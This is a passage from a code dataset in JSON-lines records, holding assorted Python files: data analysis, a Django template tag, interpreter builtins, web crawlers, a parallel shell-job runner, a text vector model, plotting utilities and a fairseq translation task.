rec]\ncounts = Counter(time_zones)\nframe = DataFrame(records)\n\nclean_tz = frame['tz'].fillna('Missing')\nclean_tz[clean_tz == ''] == 'Unknown'\ntz_counts = clean_tz.value_counts()\n\ntz_counts[:10].plot(kind='barh', rot=0)\n\n# results = Series([x.split()[0] for x in frame.a.dropna()])\n# results = Series([x.split()[0] for x in frame.a.dropna().drop_duplicates()])\n\ncframe = frame[frame.a.notnull()]\noperation_system = np.where(cframe['a'].str.contains('Windows'), 'Windows', 'Not Windows')\n# print(operation_system[:5])\n\nby_tz_os = cframe.groupby(['tz', operation_system])\n\nagg_counts = by_tz_os.size().unstack().fillna(0)\n\n# print(agg_counts[:10])\n\nindexer = agg_counts.sum(1).argsort()\n# print(indexer[:10])\n\ncount_subset = agg_counts.take(indexer)[-10:]\n# print(count_subset)\n\ncount_subset.plot(kind='barh', stacked=True)\nnormed_subset = count_subset.div(count_subset.sum(1), axis=0)\n\nnormed_subset.plot(kind='barh', stacked=True)\n\nplt.show()","sub_path":"dataAnalysis/firstExample.py","file_name":"firstExample.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"609538218","text":"from django import template\n\nregister = template.Library()\n\n\n@register.inclusion_tag('downloads/templatetags/os_release_files.html')\ndef os_release_files(release, os_slug):\n \"\"\"\n Given a Relase object and os_slug return the files for that release\n \"\"\"\n return {\n 'release': release,\n 'files': release.files_for_os(os_slug),\n }\n\n\n@register.filter\ndef strip_minor_version(version):\n return '.'.join(version.split('.')[:2])\n","sub_path":"downloads/templatetags/download_tags.py","file_name":"download_tags.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"7653811","text":"\"\"\"\nThis module contains builtin objects in nylo.\n\"\"\"\n\n\nfrom .token import Token\nfrom .tokens.keyword import Keyword\nfrom collections import defaultdict\nfrom .tokens.value import Value\n\n\nclass If(Token):\n \n def __init__(self, cond=Keyword('cond', (Keyword('if'), Keyword('cond'))), \n then=Keyword('then', (Keyword('if'), Keyword('then'))), \n else_=Keyword('else', (Keyword('if'), Keyword('else')))):\n self.cond, self.then, self.else_ = cond, then, else_\n \n def interprete(self, mesh, interpreting, interpreted):\n interpreting.extend([self, self.cond])\n \n def evaluate(self, mesh: dict, interpreting: list, interpreted: list):\n interpreting.append(self.then if interpreted.pop().value else self.else_)\n \n def chroot(self, oldroot: tuple, newroot: tuple):\n return If(self.cond.chroot(oldroot, newroot),\n self.then.chroot(oldroot, newroot),\n self.else_.chroot(oldroot, newroot))\n \n def __repr__(self):\n return \"IF\"\n \n \nbuiltins = {\n 'classes': defaultdict(list),\n 'types': {},\n 'arguments': defaultdict(list, {\n (Keyword('if'),): [(Keyword('if'), Keyword('cond')),\n (Keyword('if'), Keyword('then')),\n (Keyword('if'), Keyword('else'))]\n }),\n (Keyword('if'),): (Keyword('placeholder', (Keyword('placeholder'),)),),\n (Keyword('if'), Keyword('self')): If(),\n (Keyword('placeholder'),): Value(None)\n }\n","sub_path":"src/nylo/builtins.py","file_name":"builtins.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"216263245","text":"def pig_it(text):\n text_arr = text.split(' ')\n ans = []\n for i in text_arr:\n if i[:-2] + i[:-1] != 'ay' and i[0].isalpha():\n temp = i[1:] + i[0] + 'ay'\n ans.append(temp)\n else:\n ans.append(i)\n return ' '.join(ans)\n","sub_path":"Python/Simple Pig Latin.py","file_name":"Simple Pig Latin.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"221200444","text":"import os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom queue import Queue\nfrom threading import Thread\n\nimport click\n\nfrom ertk.utils import PathlibPath\n\nq: \"Queue[str]\" = Queue()\n\n\ndef worker(t_id: int):\n env = os.environ.copy()\n env.update({\"PYTHONUNBUFFERED\": \"1\"})\n while not q.empty():\n cmd = q.get()\n print(f\"Executing command on thread {t_id}: {cmd}\")\n proc = subprocess.Popen(\n cmd,\n env=env,\n shell=True,\n text=True,\n bufsize=1,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n )\n if proc.stdout is not None:\n with proc.stdout:\n for line in iter(proc.stdout.readline, \"\"):\n sys.stdout.write(f\"[T{t_id}]: {line}\")\n sys.stdout.flush()\n proc.wait()\n q.task_done()\n\n\n@click.command()\n@click.argument(\"input\", type=PathlibPath(exists=True, dir_okay=False))\n@click.option(\n \"--threads\",\n \"--n_threads\",\n type=int,\n default=1,\n help=\"Number of threads\",\n show_default=True,\n)\ndef main(input: Path, n_threads: int):\n \"\"\"Runs all commands specified in the INPUT file, splitting the work\n across multiple threads such that each command runs solely on\n whichever thread is next available.\n\n Each thread reads from a synchronous queue and runs the command in a\n shell.\n \"\"\"\n\n with open(input) as fid:\n for line in fid:\n line = line.strip()\n if len(line) == 0:\n continue\n q.put(line)\n print(f\"Command {line}\")\n\n threads = [Thread(target=worker, args=(i,)) for i in range(n_threads)]\n for t in threads:\n t.start()\n for t in threads:\n t.join()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/utils/parallel_jobs.py","file_name":"parallel_jobs.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"544270320","text":"from mostProbTopic.wordparser import Parser\nfrom functools import reduce\nfrom mostProbTopic.lsa import LSA\nfrom mostProbTopic.tfidf import TFIDF\nimport collections\n\nimport sys\n\ntry:\n from numpy import dot\n from numpy.linalg import norm\nexcept:\n print(\"Error: Requires numpy from http://www.scipy.org/. Have you installed scipy?\")\n sys.exit()\n\n\nclass VectorSpace:\n \"\"\" A algebraic model for representing text documents as vectors of identifiers. \n A document is represented as a vector. Each dimension of the vector corresponds to a \n separate term. If a term occurs in the document, then the value in the vector is non-zero.\n \"\"\"\n\n collection_of_document_term_vectors = []\n vector_index_to_keyword_mapping = []\n\n parser = None\n extent = 0\n\n #enter paragraphs as individual elements of the list\n def __init__(self, documents=[], transforms=[TFIDF]):\n self.collection_of_document_term_vectors = []\n self.parser = Parser()\n if len(documents) > 0:\n # print(\"Okay\")\n self.build(documents, transforms)\n\n def related(self, document_id):\n \"\"\" find documents that are related to the document indexed by passed Id within the document Vectors\"\"\"\n ratings = [self._cosine(self.collection_of_document_term_vectors[document_id], document_vector) for\n document_vector in self.collection_of_document_term_vectors]\n #ratings.sort(reverse=True)\n return ratings\n\n def search(self, searchList):\n \"\"\" search for documents that match based on a list of terms \"\"\"\n queryVector = self._build_query_vector(searchList)\n # print(\"Searching \\n %s\" % queryVector)\n ratings = [self._cosine(queryVector, documentVector) for documentVector in\n self.collection_of_document_term_vectors]\n #ratings.sort(reverse=True)\n return ratings\n\n def build(self, documents, transforms): #_build\n \"\"\" Create the vector space for the passed document strings \"\"\"\n self.vector_index_to_keyword_mapping = self.get_vector_keyword_index(documents)\n #print(\"\\n %s\" % self.vector_index_to_keyword_mapping)\n matrix = [self._make_vector(document) for document in documents]\n # print(matrix)\n matrix = list(reduce(lambda matrix, transform: transform(matrix).transform(), transforms, matrix))\n #print(matrix)\n self.collection_of_document_term_vectors = matrix\n\n #def _get_vector_keyword_index(self, document_list):\n def get_vector_keyword_index(self, document_list):\n \"\"\" create the keyword associated to the position of the elements within the document vectors \"\"\"\n vocabulary_list = self.parser.tokenise_and_remove_stop_words(document_list)\n unique_vocabulary_list = self._remove_duplicates(vocabulary_list)\n # print(unique_vocabulary_list)\n\n vector_index = {} # this is a dict\n offset = 0\n # Associate a position with the keywords which maps to the dimension on the vector used to represent this word\n for word in unique_vocabulary_list:\n vector_index[word] = offset\n offset += 1\n self.extent = offset\n od = collections.OrderedDict(sorted(vector_index.items()))\n #print(od)\n return vector_index # (keyword:position)\n\n def _make_vector(self, word_string):\n \"\"\" @pre: unique(vectorIndex) \"\"\"\n\n vector = [0] * len(self.vector_index_to_keyword_mapping)\n\n word_list = self.parser.tokenise_and_remove_stop_words(word_string.split(\" \"))\n #print(\"query: %s\" % word_list)\n for word in word_list:\n if word in self.vector_index_to_keyword_mapping.keys():\n vector[self.vector_index_to_keyword_mapping[word]] += 1 # Use simple Term Count Model\n return vector\n\n def _build_query_vector(self, term_list):\n \"\"\" convert query string into a term vector \"\"\"\n query = self._make_vector(\" \".join(term_list))\n return query\n\n def _remove_duplicates(self, list):\n \"\"\" remove duplicates from a list \"\"\"\n # set is an unordered collection of elements\n return set((item for item in list))\n\n def _cosine(self, vector1, vector2):\n \"\"\" related documents j and q are in the concept space by comparing the vectors :\n cosine = ( V1 * V2 ) / ||V1|| x ||V2|| \"\"\"\n # print(vector1)\n # print(norm(vector1))\n # print(norm(vector2))\n if not any(vector1):\n return 0.0\n # if not any(vector2):\n # return -3.0\n return float(dot(vector1, vector2) / (norm(vector1) * norm(vector2)))","sub_path":"mostProbTopic/vectorspace.py","file_name":"vectorspace.py","file_ext":"py","file_size_in_byte":4655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"129476188","text":"## -*- coding: utf-8 -*-\nfrom util import *\n\nfrom direct.showbase.ShowBase import ShowBase\nfrom direct.gui.OnscreenText import OnscreenText \nfrom direct.gui.DirectGui import *\nfrom panda3d.core import *\nfrom direct.interval.LerpInterval import *\nfrom direct.interval.IntervalGlobal import *\n\nfrom authentification import *\n \nclass InterfaceTank(ShowBase):\n\tdef __init__(self, identificateurTank, couleurBarre):\n\t\tself.identificateurTank = identificateurTank\n\n\t\t#Affichage du nom du joueur\n\t\tif(self.identificateurTank == 0):\n\t\t\tself.nom = DTO_Joueur1().nom\n\t\t\tself.labelNom = DirectLabel(text = self.nom, text_scale=0.05, pos=(-1.2, 0.0, 1.18 - 0.225 - 0.02), frameSize = (-0.20, 0.20, -0.020, 0.050), color=LVecBase4(couleurBarre.getX(),couleurBarre.getY(),couleurBarre.getZ(),0.5))\n\t\telse:\n\t\t\tself.nom = DTO_Joueur2().nom\n\t\t\tself.labelNom = DirectLabel(text = self.nom, text_scale=0.05, pos=(1.2, 0.0, 1.18 - 0.225 - 0.02), frameSize = (-0.20, 0.20, -0.020, 0.050), color=LVecBase4(couleurBarre.getX(),couleurBarre.getY(),couleurBarre.getZ(),0.5))\n\n\t\t\n\t\t\n\t\t#On doit créer une couleur avec 4 composantes sinon ça crash... beurk\n\t\tcouleurBarreAlpha = Vec4(couleurBarre.getX(),couleurBarre.getY(),couleurBarre.getZ(),1)\n\n\t\tpositionBarreVie = Vec3(-1.1,0,0.85) #tank 0\n\t\tif(identificateurTank == 1): #tank 1\n\t\t\tpositionBarreVie.setX(1.1)\n\n\t\tself.barreVie = DirectWaitBar(barColor = couleurBarreAlpha, text = \"\", value = 100, pos = positionBarreVie, scale=0.5)\n\n\t\tcouleurChargeAlpha = couleurBarreAlpha * 0.8\n\t\tpositionBarreCharge = Vec3(-1.4,0,0.75) #tank 0\n\t\tif(identificateurTank == 1): #tank 1\n\t\t\tpositionBarreCharge.setX(1.4)\n\t\tself.barCharge = DirectWaitBar(barColor = couleurChargeAlpha, text = \"\", value = 100, pos = positionBarreCharge, scale=0.2)\n\n\t\tself.accept(\"effetPointDeVie\",self.effetPointDeVie)\n\t\tself.accept(\"effetRecharge\",self.effetRecharge)\n\n\tdef effetPointDeVie(self,identificateurTank,nouvelleValeur):\n\t\tif(self.identificateurTank == identificateurTank):\n\t\t\tself.changerValeurPointDeVie(nouvelleValeur)\n\n\n\tdef effetRecharge(self,identificateurTank,duree):\n\t\tif(self.identificateurTank == identificateurTank):\n\t\t\teffetRecharge = LerpFunc(self.changerValeurCharge,fromData=0,toData=100, duration=duree, blendType='easeOut')\n\t\t\teffetRecharge.start()\n\n\tdef changerValeurPointDeVie(self,nouvelleValeur):\n\t\t\tself.barreVie['value'] = nouvelleValeur\n\n\tdef changerValeurCharge(self,nouvelleValeur):\n\t\t\tself.barCharge['value'] = nouvelleValeur","sub_path":"tankem/Tankem/src/interface/interfaceTank.py","file_name":"interfaceTank.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"617135383","text":"from computing_frequencies import *\n\ndef prob_2994_5():\n lines = open(\"data/dataset_2994_5.txt\").read().splitlines()\n\n text = lines[0]\n k = int(lines[1])\n\n fout = open(\"out.txt\", \"w\")\n fout.write(\" \".join(map(str,computing_frequencies(text,k))))\n fout.close() \n\nif __name__ == '__main__':\n prob_2994_5()","sub_path":"Part1/week1/prob_2994_5.py","file_name":"prob_2994_5.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"563981772","text":"# -*- coding: utf-8 -*-\nimport json\n\nimport scrapy\nfrom scrapy_redis.spiders import RedisSpider\n\nfrom fish.items import FishItem\n\n\nclass TopicSpider(RedisSpider):\n name = 'topic'\n # start_urls = ['https://www.printf520.com:8080/GetType']\n redis_key = 'quotes:start_urls'\n\n def __init__(self, *args, **kwargs):\n super(TopicSpider, self).__init__(*args, **kwargs)\n\n def parse(self, response):\n \"\"\"\n :param response:\n :return:\n \"\"\"\n res_text = response.text\n res_obj = json.loads(res_text)\n res_data = res_obj['Data']\n\n # 将获取的url重新加入列表\n for item in res_data:\n self.logger.info(item)\n # yield new_item\n yield scrapy.Request(url='https://www.printf520.com:8080/GetTypeInfo?id=' + item['id'],\n callback=self.parse_item, meta={'id': item['id'], 'title': item['title']})\n\n def parse_item(self, response):\n \"\"\"\n :param response:\n :return:\n \"\"\"\n id = response.meta['id']\n belong = response.meta['title']\n res_text = response.text\n res_obj = json.loads(res_text)\n res_data = res_obj['Data']\n for item in res_data:\n new_item = FishItem()\n new_item['url'] = item['url']\n new_item['title'] = item['title']\n new_item['belong'] = belong\n self.logger.info(item)\n yield item\n","sub_path":"fish/spiders/topic.py","file_name":"topic.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"320958922","text":"from bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport urllib\nimport urllib.parse\nimport re #正则表达式\nimport random\\\n\n#获取url编码\ndef get_url(url_str):\n return urllib.parse.quote(url_str)\n\nurl=\"https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E7%88%AC%E8%99%AB/5162711?fr=aladdin\"\nprint(get_url(url))\n\nbase_url=\"https://baike.baidu.com/\"\ndata=urllib.parse.quote(\"网络爬虫\")\nurl_str=\"item/\"+data+\"/5162711?fr=aladdin\"\nhis=[url_str]\nurl=base_url+his[-1]\nhtml=urlopen(url).read().decode('utf-8')\nsoup=BeautifulSoup(html,features='lxml')\nsub_urls=soup.find_all(\"a\",{\"target\":\"_blank\",\"href\":re.compile(\"/item/(%.{2})+$\")})\nif len(sub_urls)!=0:\n his.append(random.sample(sub_urls,1)[0]['href'])\nelse:\n his.pop()\nprint(his)\n","sub_path":"ScrpyBaiDu/SpyBaiDu.py","file_name":"SpyBaiDu.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"49633850","text":"import logging\nimport os\nfrom collections import OrderedDict\nfrom sys import path\nfrom sys import stdout\n\nimport numpy as np\nimport h5py\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\nmatplotlib.rcParams.update({'font.size': 9})\n\nfrom plotpal.file_reader import SingleFiletypePlotter\nfrom plotpal.plot_grid import PlotGrid\n\nlogger = logging.getLogger(__name__.split('.')[-1])\n\n\nclass ScalarFigure(PlotGrid):\n \"\"\"\n A simple extension of the PlotGrid class tailored specifically for scalar line traces.\n\n Scalar traces are put on panels, which are given integer indices.\n Panel 0 is the axis subplot to the upper left, and panel indices increase to the\n right, and downwards, like reading a book.\n\n # Public Methods\n - __init__()\n - add_field()\n\n # Attributes\n panels (list) :\n a list of ordered keys to the plot grid's axes dictionary\n panel_fields (list) :\n a list of lists. Each panel has a list of strings that are displayed on that panel.\n fig_name (string) :\n an informative string that says what this figure shows\n \"\"\"\n\n def __init__(self, *args, fig_name=None, **kwargs):\n \"\"\"\n Initialize the object\n\n # Arguments\n fig_name (string) :\n As described in the class docstring\n *args, **kwargs : additional args and keyword arguments for the parent class\n \"\"\"\n super(ScalarFigure, self).__init__(*args, **kwargs)\n self.panels = []\n self.panel_fields = []\n self.fig_name = fig_name\n for i in range(self.ncols):\n for j in range(self.nrows):\n self.panels.append('ax_{}-{}'.format(i,j))\n self.panel_fields.append([])\n\n def add_field(self, panel, field, log=False):\n \"\"\"\n Add a field to a specified panel\n\n # Arguments\n panel (int) :\n The panel index to add this field to\n field (str) :\n Name of dedalus task to plot on this panel\n log (bool, optional) :\n If True, log-scale the y-axis of the plot\n \"\"\"\n self.panel_fields[panel].append((field, log))\n\nclass ScalarPlotter(SingleFiletypePlotter):\n \"\"\"\n A class for plotting traces of scalar values from dedalus output.\n\n # Methods\n - __init__()\n - load_figures()\n - plot_figures()\n - plot_convergence_figures()\n\n\n # Attributes\n fields (list) :\n Names of dedalus tasks to pull from file \n trace_data (OrderedDict) :\n Contains NumPy arrays of scalar traces from files\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n Initializes the scalar plotter.\n\n # Arguments\n *args, **kwargs : Additional keyword arguments for super().__init__() \n \"\"\"\n super(ScalarPlotter, self).__init__(*args, distribution='single', **kwargs)\n self.fields = []\n self.trace_data = None\n\n def load_figures(self, fig_list):\n \"\"\"\n Loads ScalarFigures into the object, and parses them to see which \n fields must be read from file.\n\n # Arguments\n fig_list (list) : \n The ScalarFigure objects to be plotted.\n \"\"\"\n self.figures = fig_list\n for fig in self.figures:\n for field_list in fig.panel_fields:\n for fd, log in field_list:\n if fd not in self.fields:\n self.fields.append(fd)\n\n def _read_fields(self):\n \"\"\" Reads scalar data from file \"\"\"\n with self.my_sync:\n if self.idle: return\n self.trace_data = OrderedDict()\n for f in self.fields: self.trace_data[f] = []\n self.trace_data['sim_time'] = []\n while self.files_remain([], self.fields):\n bs, tsk, writenum, times = self.read_next_file()\n for f in self.fields: self.trace_data[f].append(tsk[f].flatten())\n self.trace_data['sim_time'].append(times)\n\n for f in self.fields: self.trace_data[f] = np.concatenate(tuple(self.trace_data[f]))\n self.trace_data['sim_time'] = np.concatenate(tuple(self.trace_data['sim_time']))\n\n def _clear_figures(self):\n \"\"\" Clear the axes on all figures \"\"\"\n for f in self.figures:\n for i, k in enumerate(f.panels): \n f.axes[k].clear()\n\n def _save_traces(self):\n \"\"\" save traces to file \"\"\"\n if self.idle:\n return\n with h5py.File('{:s}/full_traces.h5'.format(self.out_dir), 'w') as f:\n for k, fd in self.trace_data.items():\n f[k] = fd\n\n def plot_figures(self, dpi=200):\n \"\"\" \n Plot scalar traces vs. time\n\n # Arguments\n dpi (int) :\n image pixel density\n \"\"\"\n with self.my_sync:\n self._read_fields()\n self._clear_figures()\n if self.idle: return\n\n for j, fig in enumerate(self.figures):\n for i, k in enumerate(fig.panels):\n ax = fig.axes[k]\n for fd, log in fig.panel_fields[i]:\n ax.plot(self.trace_data['sim_time'], self.trace_data[fd], label=fd)\n if log:\n ax.set_yscale('log')\n ax.set_xlim(self.trace_data['sim_time'].min(), self.trace_data['sim_time'].max())\n ax.xaxis.set_major_formatter(ticker.FormatStrFormatter('%0.1e'))\n ax.yaxis.set_major_formatter(ticker.FormatStrFormatter('%0.1e'))\n ax.legend(fontsize=8, loc='best')\n ax.set_xlabel('sim_time')\n if fig.fig_name is None:\n fig_name = self.fig_name + '_{}'.format(j)\n else:\n fig_name = fig.fig_name\n\n fig.fig.savefig('{:s}/{:s}.png'.format(self.out_dir, fig_name), dpi=dpi, bbox_inches='tight')\n self._save_traces()\n\n def plot_convergence_figures(self, dpi=200):\n \"\"\" \n Plot scalar convergence traces vs. time\n Plotted is fractional difference of the value at a given time compared to the final value:\n\n abs( 1 - time_trace/final_value), \n\n where final_value is the mean value of the last 10% of the trace data\n\n # Arguments\n dpi (int)\n image pixel density\n \"\"\"\n\n with self.my_sync:\n self._read_fields()\n self._clear_figures()\n if self.idle: return\n\n for j, fig in enumerate(self.figures):\n for i, k in enumerate(fig.panels):\n ax = fig.axes[k]\n ax.grid(which='major')\n for fd, log in fig.panel_fields[i]:\n final_mean = np.mean(self.trace_data[fd][-int(0.1*len(self.trace_data[fd])):])\n ax.plot(self.trace_data['sim_time'], np.abs(1 - self.trace_data[fd]/final_mean), label=\"1 - ({:s})/(mean)\".format(fd))\n ax.set_yscale('log')\n ax.set_xlim(self.trace_data['sim_time'].min(), self.trace_data['sim_time'].max())\n ax.legend(fontsize=8, loc='best')\n ax.xaxis.set_major_formatter(ticker.FormatStrFormatter('%0.1e'))\n ax.yaxis.set_major_formatter(ticker.FormatStrFormatter('%0.1e'))\n ax.set_xlabel('sim_time')\n if fig.fig_name is None:\n fig_name = self.fig_name + '_{}'.format(j)\n else:\n fig_name = fig.fig_name\n\n fig.fig.savefig('{:s}/{:s}_convergence.png'.format(self.out_dir, fig_name), dpi=dpi, bbox_inches='tight')\n","sub_path":"python/plotting/plotpal/scalars.py","file_name":"scalars.py","file_ext":"py","file_size_in_byte":7837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"505813346","text":"# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport itertools\nimport os\nimport copy\nfrom fairseq import options, utils\nfrom fairseq.data import (\n ConcatDataset,\n data_utils,\n indexed_dataset, FairseqDataset)\n\nfrom fairseq.tasks import FairseqTask, register_task\nfrom models.data_reader import DataRawTextReader\nfrom models.documental_dataset import LanguagePairDataset\nfrom models.transformer_xl_translation import TranformerXLDecoder\nimport numpy as np\nimport types\nimport fairseq.data.iterators as iterators\nimport torch\n\n#the batch_by_size is tested but make sure it goes with the other parts well\n#maybe others methods need a special test or handling (22-12-2019)\n\n\n#max_Sentences only...because in our case the max tokens will be commented all the way to make sure thatw\ndef _is_batch_full( batch, max_sentences, batch_mult_size):\n if len(batch) == 0:\n return 0\n if max_sentences > 0 and len(batch) == max_sentences:\n return 1\n #if max_tokens > 0 and num_tokens > max_tokens:\n # return 1\n if (len(batch)%batch_mult_size)==0: #added condition to solve the batching, is\n # this corect or should I speciify max_Sentences equal to the batch_size (30-4-2020)\n return 1\n return 0\n\n#taken from data_utils\n# max_tokens inm our case should not be added\n# we have to handle max_sentences .....to take care if it makes any problem Christine 27-2-2020\ndef batch_by_size(\n indices, max_sentences=24, max_tokens=None,\n required_batch_size_multiple=1,\n):\n \"\"\"\n Yield mini-batches of indices bucketed by size. Batches may contain\n sequences of different lengths.\n Args:\n indices (List[int]): ordered list of dataset indices\n num_tokens_fn (callable): function that returns the number of tokens at\n a given index\n max_tokens (int, optional): max number of tokens in each batch\n (default: None).\n max_sentences (int, optional): max number of sentences in each\n batch (default: None).\n required_batch_size_multiple (int, optional): require batch size to\n be a multiple of N (default: 1).\n \"\"\"\n\n #max_tokens = max_tokens if max_tokens is not None else -1\n max_sentences = max_sentences if max_sentences is not None else -1\n bsz_mult = required_batch_size_multiple\n\n if isinstance(indices, types.GeneratorType):\n indices = np.fromiter(indices, dtype=np.int64, count=-1)\n\n return batch_by_size_fast(indices, max_sentences,bsz_mult)\n\n#remove all related to number of tokens and sample length as we donot need them\ndef batch_by_size_fast(indices, max_sentences,bsz_mult):\n\n batch = []\n batches = []\n\n idx=0\n indices_view = copy.deepcopy(indices)\n\n for i in range(len(indices_view)):\n idx = indices_view[i]\n\n #num_tokens = num_tokens_fn(idx)\n\n #sample_lens.append(num_tokens)\n #sample_len = maxmax_sentences(sample_len, num_tokens)\n\n #assert max_tokens <= 0 or sample_len <= max_tokens, (\n # \"sentence at index {} of size {} exceeds max_tokens \"\n # \"limit of {}!\".format(idx, sample_len, max_tokens)\n #)\n #num_tokens = (len(batch) + 1) * sample_len\n\n if _is_batch_full(batch, max_sentences, bsz_mult):\n mod_len = max(\n bsz_mult * (len(batch) // bsz_mult),\n len(batch) % bsz_mult,\n )\n #batch_size=max_sentences\n batches.append(batch[:mod_len])\n batch = batch[mod_len:]\n #batches.append(batch[:batch_size])\n #batch = batch[batch_size:]\n #sample se\n #sample_lens = sample_lens[mod_len:]\n #sample_len = max(sample_lens) if len(sample_lens) > 0 else 0\n batch.append(idx)\n if len(batch) > 0:\n batches.append(batch)\n return batches\n\n# should specify the batch_size here\ndef load_langpair_dataset(data_path, split,\n src, src_dict,\n tgt, tgt_dict,\n combine, dataset_impl, upsample_primary,\n left_pad_source, left_pad_target, max_source_positions, max_target_positions,\n):\n #check if the file exists, nothing more\n def split_exists(split, src, tgt, lang, data_path):\n filename = os.path.join(data_path, '{}.{}-{}.{}'.format(split, src, tgt, lang))\n return os.path.exists(data_path)\n\n src_datasets = []\n\n tgt_datasets = []\n\n #to get the file prefix for each split, train, valid or test\n #check thus\n print(itertools.count())\n #some comments for intertools\n #for k in itertools.count():\n k=0\n split_k = split + (str(k) if k > 0 else '')\n\n # infer langcode\n if split_exists(split_k, src, tgt, src, data_path):\n prefix = os.path.join(data_path, '{}.{}-{}.'.format(split_k, src, tgt))\n elif split_exists(split_k, tgt, src, src, data_path):\n prefix = os.path.join(data_path, '{}.{}-{}.'.format(split_k, tgt, src))\n '''\n else:\n if k > 0:\n break\n else:\n raise FileNotFoundError('Dataset not found: {} ({})'.format(split, data_path))\n '''\n textReader_src = DataRawTextReader(prefix + src, src_dict)\n src_dataset_tokens= textReader_src.dictionary_tokens_of_sentences\n src_dataset_sentences= textReader_src.dictionary_sentences\n\n textReader_trg = DataRawTextReader(prefix + tgt, tgt_dict)\n trg_dataset_tokens = textReader_trg.dictionary_tokens_of_sentences\n trg_dataset_tokens = textReader_trg.dictionary_sentences\n\n\n #our datasets should be uplaoded here\n src_datasets.append(textReader_src)\n tgt_datasets.append(textReader_trg)\n\n print('| {} {} {}-{} {} examples'.format(data_path, split_k, src, tgt, len(src_datasets[-1])))\n '''\n if not combine:\n break\n '''\n assert len(src_datasets) == len(tgt_datasets)\n\n #not sure about this part (Christine)\n if len(src_datasets) == 1:\n src_dataset, tgt_dataset = src_datasets[0], tgt_datasets[0]\n ''' \n else:\n #should I have to comment this? (Christine)\n #related to use more than one siurce of data\n sample_ratios = [1] * len(src_datasets)\n sample_ratios[0] = upsample_primary\n src_dataset = ConcatDataset(src_datasets, sample_ratios)\n tgt_dataset = ConcatDataset(tgt_datasets, sample_ratios)\n '''\n return LanguagePairDataset(\n src_dataset, src_dataset.sizes, src_dict,\n tgt_dataset, tgt_dataset.sizes, tgt_dict,\n left_pad_source=left_pad_source,\n left_pad_target=left_pad_target,\n max_source_positions=max_source_positions,\n max_target_positions=max_target_positions,\n )\n\n\n@register_task('translation_transformer')\nclass TranslationTransformerTask(FairseqTask):\n \"\"\"\n Translate from one (source) language to another (target) language.\n\n Args:\n src_dict (~fairseq.data.Dictionary): dictionary for the source language\n tgt_dict (~fairseq.data.Dictionary): dictionary for the target language\n\n .. note::\n\n The translation task is compatible with :mod:`fairseq-train`,\n :mod:`fairseq-generate` and :mod:`fairseq-interactive`.\n\n The translation task provides the following additional command-line\n arguments:\n\n .. argparse::\n :ref: fairseq.tasks.translation_parser\n :prog:\n \"\"\"\n\n @staticmethod\n def add_args(parser):\n \"\"\"Add task-specific arguments to the parser.\"\"\"\n # fmt: off\n parser.add_argument('data', help='colon separated path to data directories list, \\\n will be iterated upon during epochs in round-robin manner')\n parser.add_argument('-s', '--source-lang', default=None, metavar='SRC',\n help='source language')\n parser.add_argument('-t', '--target-lang', default=None, metavar='TARGET',\n help='target language')\n parser.add_argument('--lazy-load', action='store_true',\n help='load the dataset lazily')\n parser.add_argument('--raw-text', action='store_true',\n help='load raw text dataset')\n parser.add_argument('--left-pad-source', default='True', type=str, metavar='BOOL',\n help='pad the source on the left')\n parser.add_argument('--left-pad-target', default='False', type=str, metavar='BOOL',\n help='pad the target on the left')\n parser.add_argument('--max-source-positions', default=1024, type=int, metavar='N',\n help='max number of tokens in the source sequence')\n parser.add_argument('--max-target-positions', default=1024, type=int, metavar='N',\n help='max number of tokens in the target sequence')\n parser.add_argument('--upsample-primary', default=1, type=int,\n help='amount to upsample primary dataset')\n # fmt: on\n\n def __init__(self, args, src_dict, tgt_dict):\n super().__init__(args)\n self.src_dict = src_dict\n self.tgt_dict = tgt_dict\n\n @classmethod\n def setup_task(cls, args, **kwargs):\n \"\"\"Setup the task (e.g., load dictionaries).\n\n Args:\n args (argparse.Namespace): parsed command-line arguments\n \"\"\"\n args.left_pad_source = options.eval_bool(args.left_pad_source)\n args.left_pad_target = options.eval_bool(args.left_pad_target)\n if getattr(args, 'raw_text', False):\n utils.deprecation_warning('--raw-text is deprecated, please use --dataset-impl=raw')\n args.dataset_impl = 'raw'\n elif getattr(args, 'lazy_load', False):\n utils.deprecation_warning('--lazy-load is deprecated, please use --dataset-impl=lazy')\n args.dataset_impl = 'lazy'\n\n paths = args.data.split(':')\n assert len(paths) > 0\n # find language pair automatically\n\n #implement again this part\n #data_utils.infer_language_pair dets names for trg and src for example src= en and trg=de\n if args.source_lang is None or args.target_lang is None:\n args.source_lang, args.target_lang = data_utils.infer_language_pair(paths[0])\n if args.source_lang is None or args.target_lang is None:\n raise Exception('Could not infer language pair, 